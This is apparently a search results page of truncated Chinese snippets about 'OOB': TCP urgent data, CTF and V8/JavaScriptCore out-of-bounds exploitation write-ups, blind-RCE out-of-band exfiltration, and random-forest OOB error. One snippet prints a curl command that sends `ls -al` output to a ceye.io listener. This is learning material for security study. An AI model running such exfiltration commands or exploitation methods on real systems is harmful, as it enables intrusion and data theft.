首页
学习
活动
专区
工具
TVP
发布

如何处理 tcp 紧急数据(OOB)?

然后就没有然后了…… 毕业这么多年了,回想一下,还真是没有接触过 OOB 的场景,更没有实地发送、接收过 OOB。那么到底该怎样处理 OOB 呢?OOB 在所谓的紧急情况下是否有用呢?下面一一道来。...发送 OOB 首先产生 OOB 是非常简单的,只需要在寻常 send 的最后一个参数,加入 MSG_OOB 标志位: ret = send (sockfd, ptr, n, MSG_OOB); 如果考虑一个完整的测试场景...需要注意的是,目前只有 TCP 支持 OOB,UDP 没所谓顺序,更没所谓带内带外之分,所以也没有 OOB;另外 TCP 目前大多数实现只支持 1 字节 OOB,大于 1 字节的 OOB,只有最后一字节会被当为...接收 OOB 接收 OOB 共有三种方法。 1....使用 SO_OOBINLINE 标志位将 OOB 作为惯常数据处理 这种方法是将 OOB 数据当作惯常数据接收,在接收前通过判断哪些是普通数据哪些是 OOB 数据,具体步骤如下: a) 新连接建立时,设置套接字选项

71430
您找到你想要的搜索结果了吗?
是的
没有找到

RCE+OOB+一道HCTF实战

那可以截取段: 故此可以打出任意行,任意长度的信息 实战例题 题目来自安恒秋季赛决赛的python PIL 拿到题目后,先谷歌一波,搜到了CVE: GhostButt CVE-2017-8291 然后使用了...Ph牛的POC: https://github.com/vulhub/vulhub/blob/master/python/PIL-CVE-2017-8291/poc.png 阅读readme: 比如poc.png...乍一听可能比较难以理解,话不多说,我们直接从题目中学习: 实战演练 题目来自10月份的XCTF联赛中的HCTF,题目的破解正是应用了OOB(out of band),利用dns偷走数据 1.1 题目描述...you get}"; error_reporting(E_ALL^E_NOTICE^E_WARNING); try { $conn = new PDO( "sqlsr","oob...> 可以知道三个关键点: 第一点: try { $conn = new PDO( "sqlsr","oob", ""); } 使用了PDO,且提示了oob,其中PDO是可以堆叠执行sql的,oob

1.1K100

从CVE-2018-4441看jsc的OOB利用

image.png 作者最近研究了safari浏览器javascriptCore引擎的一个OOB漏洞CVE-2018-4441,虽然这是一个比较老的漏洞,但是研究这个漏洞还是能学到不少东西。...这里介绍了jsc环境搭建的方法和jsc一些基本调试技巧,详细分析了CVE-2018-4441的漏洞成因和lokihardt堆喷修改数组长度构成OOB的方法,希望读者读完能有所收获。...随后的漏洞利用分析中可以看到这里调用memmove处理新的storage就是导致OOB的根本原因。     ...arr.length=m_numValuesInVector 导致arr->hasHoles判断为假,进而在unshiftCountWithArrayStorage中使用memmove更新storage时导致OOB...lokihardt的原版有修改,去掉了lokihardt利用unboxed2和boxed2指向相同内存构造第二个fakeobj和addrof原语的部分(作者认为这一部分或许是lokihardt为了显示OOB

1K30

初识v8之starctf2019-oob

SatrCtf2019-oob 数组对象的结构 这里简单讲解一下做这一题需要的前置知识。 首先我们需要了解v8中的对象的结构,以一个Float数组Float_Array为例来讲解。...diff文件分析 有了以上的知识,我们就可以开始看我们的题目了,题目给了一个名叫oob.diff的文件,打开文件发现前面有一个名为SimpleInstallFunction的东西,结合网上对于JavaScript...API的资料可以分析出题目是自己实现了一个名为oob的函数,实现的具体细节在22-42行: +BUILTIN(ArrayOob){ + uint32_t len = args.length();.../test.js,然后run就行了: 可以看见我们图中的泄露出来的Map值是完全没有问题的,这里讲一下这部分的核心,也就是: var obj_hidden = obj_array.oob(); var...Fixed Array的下一个内存单元,存放的是Map,也就是说通过xxx.oob(),就可以泄露出相应的Map。

40730

带外攻击OOB(RCE无回显骚思路总结)

2.带外攻击(OOB) 服务器用来测试盲的各种漏洞的话,则需要我们外部的独立服务器参数,也就是带入了外部的服务器,我们叫它带外攻击。这里简单的提了一下这个带内和带外,我们只要理解其过程即可。...3.带外数据 传输层协议使用带外数据(out-of-band,OOB)来发送一些重要的数据,如果通信一方有重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方。...OOB.jpg基本回显思路1.对于出网机器  使用http传输,如wget,curl,certutil将回显信息爬出   1.1 优点:方便,回显全。   ...cmd=curl http://XXXXXX.ceye.io/`ls -al |cut -c 3-10`4.burpsuit Collaborator Client模块回显(带外攻击OOB)打开 collaborator

4.4K40

从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)

作者:Hcamael@知道创宇404实验室 相关阅读: 从 0 开始学 V8 漏洞利用之环境搭建(一) 从 0 开始学 V8 漏洞利用之 V8 通用利用链(二) 我是从starctf 2019的一道叫OOB.../starctf2019/pwn-OOB/oob.diff $ gclient sync -D $ gn gen out/x64_startctf.release --args='v8_monolithic.../starctf2019/pwn-OOB/oob.diff,就能使用build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019一键编译。...漏洞点 源码我就不分析了,因为这题是人为造洞,在obb.diff中,给变量添加了一个oob函数,这个函数可以越界读写64bit。...浮点型数组的结构之前的文章说了,在value之后就是该变量的结构内存区域,所以使用a.oob()可以越界读64bit,就可以读写该变量的map地址,并且在该版本中,地址并没有被压缩,是64bit。

79930

随机森林算法及其实现(Random Forest)

2 随机森林的特点 3 随机森林的相关基础知识 4 随机森林的生成 5 袋外错误率(oob error) 6 随机森林工作原理解释的一个简单例子 7 随机森林的Python实现 8 参考内容 1 什么是随机森林...你可以在这找到用python实现集成学习的文档:Scikit 学习文档。 4 随机森林的生成   前面提到,随机森林中有许多的分类树。...5 袋外错误率(oob error)   上面我们提到,构建随机森林的关键问题就是如何选择最优的m,要解决这个问题主要依据计算袋外错误率oob error(out-of-bag error)。   ...;   3)最后用误分个数占样本总数的比率作为随机森林的oob误分率。   ...7 随机森林的Python实现   利用Python的两个模块,分别为pandas和scikit-learn来实现随机森林。

62220

特征选择的几种方法

Relief算法python实现:https://blog.csdn.net/qq_40871363/article/details/86511843 2、包裹法(Wrapper) 2.1 递归特征消除法...以随机森林为例: 对随机森林中的每一颗决策树,用OOB(袋外数据)计算误差errOOB1; 对OOB所有样本特征X加上噪声干扰,再次计算误差errOOB2; N棵树,特征X的重要性= 若某个特征加上噪声后...sklearn中会对每个特征赋予一个分数,分数越大,特征越重要,因此,可以根据特征重要性排序,然后选择最佳特征组合; RandomForestClassifier(n_estimators=200,oob_score...=True) oob_score : bool (default=False) Whether to use out-of-bag samples to estimate the generalization...oob_score: bool(默认=False) 是否使用袋外样品进行估算 泛化精度。 3、嵌入法(Embedded) 嵌入特征选择方法和算法本身紧密结合,在模型训练过程中完成特征选择。

1.9K10
领券